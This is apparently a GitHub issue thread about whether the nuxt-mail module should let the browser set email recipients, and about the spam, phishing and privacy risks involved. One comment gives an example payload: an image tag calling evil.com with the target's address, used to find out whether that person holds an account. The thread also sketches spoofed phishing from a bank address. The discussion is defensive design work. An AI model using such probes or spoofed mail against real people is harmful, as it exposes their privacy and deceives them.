Open urbgimtam opened 3 years ago
@urbgimtam That's actually a good question and I think there should be a FAQ section about it. I think you shouldn't send confirmation emails to non-verified email addresses at all, because otherwise you could send spam emails to any email address by typing foo@bar.de
(from your SMTP server!). As far as I remember, confirmation emails are best and mostly used with logged in accounts, then you can send an email to the account email address. On the other hand I can remember to have gotten automatic confirmation emails from guest contact forms. No idea how they deal with the spamming problem though.
@mathe42 What's your opinion on this?
For that use case just build your own small API that gets email (and name ...) and generates the email from that.
A in the case of a confirmation mail you need a API for verification.
What you don't want is that a attacker can send emails with custom conent to random people so you have to make at least one of that static.
I agree with all your concerns over security. However, maybe a better approach would be to allow the config to lock either the "sender" or the "receiver", as per the developer requirements.
For contact forms, IMO it makes sense to have the "receiver" to be locked, as the flow goes from the user to the company/website.
But for other uses (image an ecommerce store), it makes sense to lock only the "sender", as the email goes from the website to the user.
Usually, I've mitigated it in the past with things like Google Recaptcha (v3 is great and doesn't show that cumbersome image selector thing), or with a hidden blank field, that mail bots try to fill in automatically. (also, nowdays many mail servers use DKIM, output validation and even header correction)
IMO it should be the coders' responsability to use email addresses validation (whatever that validation may be: a registered user, a double-optin system, recaptha, etc.)
Creating an API for this seems like overkill, and kind of defeats the purpose of this module. I've used nodemailer directly with Nuxt in the past, and nuxt-mail looks like a great abstraction for clearer development, but if its too constrained, IMO it narrows its usage flexibility.
So you want the browser to request that a email is send with dynamic content to a dynamic email.
That can be used for SPAM sending. So someone can send emails in your name - very bad. If you set STATIC content for the body of the email OK im fine with that. But static doesn't work in 98% of use cases.
Creating an API for this seems like overkill, and kind of defeats the purpose of this module. I've used nodemailer directly with Nuxt in the past, and nuxt-mail looks like a great abstraction for clearer development, but if its too constrained, IMO it narrows its usage flexibility.
This module creates a API as the browser can not talk to a SMTP server. - And this API can be called with custom arguments so even if you client code is save - it dosn't matter.
So you want the browser to request that a email is send with dynamic content to a dynamic email.
That can be used for SPAM sending. So someone can send emails in your name - very bad. If you set STATIC content for the body of the email OK im fine with that. But static doesn't work in 98% of use cases.
Of course the dynamic email needs to be validated by a third-party: either login/registered user, or email being triggered after successfull recaptcha validation.
So my point is that the validation responsability belongs to the developer, instead of nuxt-mail blocking that possibility interely.
The white elefant in the room is that spam prevention (from the sender perspective) is hard to fix and requires multiple points of mitigation. For example: the email server itself should be correctly configured for stuff like "output rate limiting", DKIM, DMARC and SPF outgoing spam protection, etc.
I think @urbgimtam is right that the mail server should be responsible for the address validation. I see the use case to use nuxt-mail
to send emails to authenticated user's email addresses. What I could imagine as a simple solution would be to allow the to
field to be a (possibly async) validation function. Example:
// nuxt.config.js
const users = [{ email: 'foo@bar.de' }]
export default {
modules: [
['nuxt-mail', {
message: {
to(email) {
// @nuxtjs/auth, via session or something similar
return this.$auth.user.email === email
},
},
}],
],
}
// index.vue
export default {
methods: {
submit() {
this.$mail.send({
from: 'John Doe',
to: 'foo@bar.de',
subject: 'Message',
text: 'Foo bar',
},
},
}
So it would be a non-breaking, more flexible way than the email field comparison. Opinions or any issues I haven't thought of?
As a attacker I want to know if with the email me@example.com is a user. I can do the following:
Create a Mail with something like (just minimal example):
this.$mail.send({
from: 'John Doe',
to: 'me@example.com',
subject: 'Message',
text: '<img src="evil.com/img.png?user=me@example.com">', // maybe different key but you get the idea...
},
If I get a request to evil.com I know the user has an account.
So this might fix the SPAM problem for not very big pages. But we have a privacy issue. This is not GDPR conform.
I think there should be no way of a non trusted source (attacker) to send emails with custom (attacker controled) content to a customer or user of your webapp / webpage.
Because of that I don't even use nuxt-mail just saw it a few month ago and saw that it has security problems.
This module in my opinion is only good for a contact form!
[EDIT]
Just to repeat my complain is
There should be no way of a non trusted source (attacker) to send emails with custom (attacker controled) content to a customer or user of your webapp / webpage.
Understand and agree. Just like in php, the coder must sanitize the fields data to avoid injection atacks, etc.
Just to be understand a bit better, what would you use for such a scenario like I've described? Because, in the end, any solution will suffer of the same vectors of attack.
Generate the E-Mail content on the server in for exampe a server middleware of nuxt.
In the online Form get all data. Send both to the api / server middleware and generate there the email text / html and send this with (for example) nodemailer to the specified e-mail.
That's what I've done in the past. But if nuxt-mailer is using nodemailer, isn't it doing it already? Can't the sanitization and email generation still happen in the component, before calling the this.$mail.send()? Again, the dev should handle that.
Nope as the $mail.send creates a request to a url and there is no way to validate the data. And validation has to happen on the server. A attacker can bypass all client validation. The problem is the server can't check if the data even was validated...
Sry my example was incredibly bad, was focusing on the validation function. Of course there should be auth management and you should only be able to send to the logged in user's address, not any registered one. I've updated it accordingly. Is the issue you explained resolved with this? It should fail with an auth error. You would need to be registered with verified email first, otherwise this.$mail.send
would also fail when sending it from the client.
If you want to be shure it should silently fail...
But if there is some validation I'm fine with that. But you should point that out that if you do for exampe () => true
you have big security problems. And I'm not 100% shure you want that power at the developer that doesn't know what he is doing.
Ok, sorry for all the discussion I've generated.
@mathe42 I agree that it can be damaging to a dev that is not aware of the responsibility. Please feel free to close the issue.
@mathe42 Yes it has to be well-documented. I'd say it's fine if the default behavior is safe. In that case the developer would have to actively bypass the recommendations (there will probably be some who will do ...).
@urbgimtam No, there is no need for excuses. I think there is a use case and I also think it is a great discussion, which is great for the module. My suggestion would be to leave the issue open for some time and see if people are interested in the feature and then see if we implement it.
I have a use case where the application user (veterinarian, or his/her assistant) is logged in, and the application generates a report to be sent to the user's patient. In this case, mails only originate from trusted users towards (trusted) patients as the patient email address has been entered by the user.
So you could say the 'from' and 'to' have been pre-validated and there's no need for further validation. That is the reason why I'm stuck at version 1.
However, the suggestion by @dword-design to add a validation function seems like a solution if we add a validation function for both 'from' and 'to'. The validation function can check whether the 'from' equals the email of the authenticated user and whether the 'to' field equals the email address of the current patient.
It still remains the dev's responsibility - and not nuxt-mail's imho - to code a proper validation function or to assess whether () => true is safe to use. I don't think you can avoid that...
I just want to make sure that you all have in mind that you don't add XSS or SPAM problems into this module.
I don't realy care about how you implement it or is it good idea to implement it - if you implement it in a secure way.
Hey folks, ok I did some detailed thinking on this, also had a look at other solutions (EmailJS, SendGrid, MailGun).
So, I think the main challenge here is to be able to call nuxt-mail from the client, and on the other hand to have a secure mail config that is passed to nodemailer. After some fiddling I came to the conclusion that the best would be not to validate the config but instead to create it on the server side. So the client only triggers the sending and (potentially) passes parameters, but the actual message is put together on server side (inside the REST API endpoint). The configs could have a create
function for this. Btw. validation always has the drawback that you pass stuff from the client and then you check the same thing server-side. Instead, just do the thing on the server and only trigger it from the client.
Here is some code that would solve the two use cases discussed here, meaning dynamic sender on the one hand and dynamic recipient on the other hand. Note that @urbgimtam is right that the from address should not be set but instead replyTo should be set. Otherwise emails could be rejected by the SMTP server. So it should always be that emails are sent from some system email address and then you can reply to dynamic addresses (correct me if I'm wrong!).
User sends contact form from a dynamic to a specific address
export default {
modules: [
'@nuxtjs/axios',
['nuxt-mail', {
message: [
{ name: 'contact-form', create: () => ({ from: 'fixed@system.com', replyTo: 'foo@bar.com' }) },
],
}],
],
}
// Client-side
this.$mail.send({ name: 'contact-form', replyTo: this.email })
System sends confirmation email from a specific to a dynamic address
const users = [
{ id: 1, patientEmail: 'foo@bar.com' },
]
export default {
modules: [
'@nuxtjs/axios',
['nuxt-mail', {
message: [
{ name: 'report', create: () => ({ from: 'fixed@system.com', to: users.find(user => user === this.$auth.user.id }).email },
],
}],
],
}
// Client-side
this.$mail.send({ config: 'report' })
This resembles a bit the template system from SendGrid and other email services, so looks like a flexible thing.
In the long run it would maybe be better to turn the whole config definition into a map that maps config names to config objects or possibly functions, but for now it should be fine.
Looks very interesting.
Any updates on this issue?
I want to add that in @dword-design last answer, the solution "from a specific to a dynamic address" would still only work if at the level of nuxt.config the address is known. Still not very "dynamic".
There are usecases where people who can access the form are trusted and can be relied upon to enter the correct receiver and content.
In my opinion, as stated previously, it should not be the responsibility of this module to validate the sent message and therefore restrict usage that might be used.
@urbgimtam @mathe42 @jdemoort @Adashi12 Alright guys, sorry for the delay, it is a bigger issue, so it was quite some conceptual work. I think I have come up with a solution that might fit for most users. The idea is similar to the one I sketched out above. What you basically do when sending emails from the client is to define message configs and then calling those configs with parameters. It's similar to the template system in EmailJS. This way you can define your emails in a flexible way without risking security leaks. The definition as a plain object is still the safest way to do it because nuxt-mail
will filter out the risky fields. When setting a message config to a function, the developer is responsible to only pass the right fields through.
Here is an example of how message configs look like:
// nuxt.config.js
export default {
modules: [
['nuxt-mail', {
configs: {
contact: {
from: 'admin@foo.de',
to: 'admin@foo.de',
},
issues: { /* ... */ },
custom: ({ replyTo, text }) => ({
from: 'admin@foo.de',
to: 'admin@foo.de',
replyTo,
text,
}),
},
smtp: { /* ... */ },
}],
],
}
Then send the email like so:
this.$mail.send('contact', {
replyTo: this.email,
text: this.text,
})
On the server side, you have full freedom now. this.$mail.send
behaves different depending on if it is on the client or the server, so for more complex logic, you can run $mail.send
from the application context.
I've implemented the proposal in this pull request. Before deploying it I'd like to get your opinion on it since it has some breaking changes and there are many use cases to cover. You can find the more detailed explanation in the updated readme in the PR. To test the PR, check out the branch locally and run yarn --frozen-lockfile && yarn prepublishOnly
. Then add it to some project via yarn add ../nuxt-mail
.
Alright thanks for waiting, looking forward to your feedback!
The only requirement is that you define to,cc,bcc in the server OR define content, replyto, attachments on the server (maybe with a template Syntax with dynamic parts of content). But as I never used this Module nor intend to use it (in my Project I create a full api not depending in nuxt what I Personaly think is the best way for bigger projects) I'm the wrong person to ask.
@mathe42 Thanks for the reply! Why is it also valid to define content, replyto, attachments in the server instead of to,cc,bcc? Doesn't it also lead to spamming?
OK. Yes your kinda right. Spamming is a bad thing but the only "bad thing" that can happen are:
My problem with this module allways was what I call a "authentic phishing attack". This means it is a phishing attack but the Mail comes from the correct SMTP server. This results in
So for spamming the solution is:
This results in so slow speeds that a "spamming-attack" is not likely as it is so slow.
For phising attack the solultion is:
If you allow that content / html can be a functions that returns promise resolving a string a escape
function would be nice to provide:
declare function escape(text: string, maxLength: number): string
So on the client you can have the following functions (I put each type of call into it own function) [I additionaly only allow to and not cc,bcc
type mail = {name?: string, mail: string}
declare function send_with_template(variant: string, to: mail, data: Record<string, any>): Promise<void>
declare function send_with_content(variant: string, replyTo: mail, content: string): Promise<void>
export default {
modules: [
['nuxt-mail', {
configs: {
with_content: {
from: 'admin@foo.de',
to: 'admin@foo.de',
// replyTo will be set by client
// text will be set by client
},
with_template: {
from: 'admin@foo.de',
// to will be set by client
replyTo: 'admin@foo.de',,
text: async (data) => {
// potentialy access mysql or filesystem
return `<p>Your Data: <span>${escape(JSON.stringify(data))}</span></p>`
}
}
},
smtp: { /* ... */ },
}],
],
}
I'm not shure with cc, bcc if they should be allowed or not.
I don't get why you prevent defining the to
field at runtime. That extremely limits the utility of this module, IMO. You are preventing standard interactions like "forgot password" and "verify email address". Why focus on spam prevention, when it only inconveniences the developer?
People will just use another module or build the endpoints manually without that restriction.
You don't see the Problem:
Lets assume bank.com uses this module (without the protection).
Then you (as an attacker) can send a Mail from 'security@bank.com' to anybody and there is no clue that this was sent by an attacker!
If you write a good E-Mail etc. you have a Phishing Attack where that is not detectable in the Mail even If you look for it.
TL;Dr it is Not about Spam it is about Security!!!
This just blew my mind. I can use this whole module only to send emails to specific hardcoded addresses? How is this useful at all?
@makeitflow The main use case is currently to create feedback and contact forms. It's main use case currently is not to create complex transactional email workflows. I'm working on a reconcept that is based on templates, but since the Nuxt app context is not available in server middlewares (and Nuxt 3 server events), there is basically a line that the module cannot cross. I can imagine that this will change through Nitro in the future.
Just like in php, the coder must sanitize the fields data to avoid injection atacks, etc.
How would this be done with nuxt-mail? Should I actually write a custom API handler then? Is there any way to disable the default /mail/send endpoint in that case? Because atm an attacker can just call the default endpoint that lacks message/body sanitization, right?
I was looking for a nuxt module to add the capability to send emails from server to user mails and was wondering why this module is forcing the to parameter. After reading this thread I understand now that its because its not for serverside Email sending. Maybe it would be more straight forward if the module would have a name or description, which is telling devs that this module is only for contact forms for client to server emails.
If message.to needs to be configured beforehand, how can I send a confirmation email to someone based an email address inserted in a form field?
I'm may be wrong here, but wouldn't it make more sense to force the "from" field instead? That way, the website/webapp can send emails to whoever needs to receive it, and always from a fixed email address.